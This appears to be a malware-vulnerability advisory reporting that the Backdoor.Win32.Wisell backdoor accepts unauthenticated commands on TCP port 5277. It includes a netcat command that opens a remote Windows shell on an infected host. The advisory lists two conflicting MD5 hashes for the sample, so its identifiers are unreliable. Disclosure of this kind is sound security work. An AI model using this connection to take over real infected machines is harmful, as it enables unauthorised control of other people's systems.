Backdoor.Win32.Wisell Remote Command Execution

Backdoor.Win32.Wisell malware suffers from a remote command execution vulnerability.

MD5 | 817eb79f2c2159e51704c23fae8b43b7

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Wisell
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277. Third-party adversaries who can reach an infected host can run any OS commands.
Family: Wisell
Type: PE32
MD5: 837ec70bfb305b5c862ff9b04e70a318
Vuln ID: MVID-2022-0536
Disclosure: 04/06/2022

C:\>nc64.exe x.x.x.x 5277
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.


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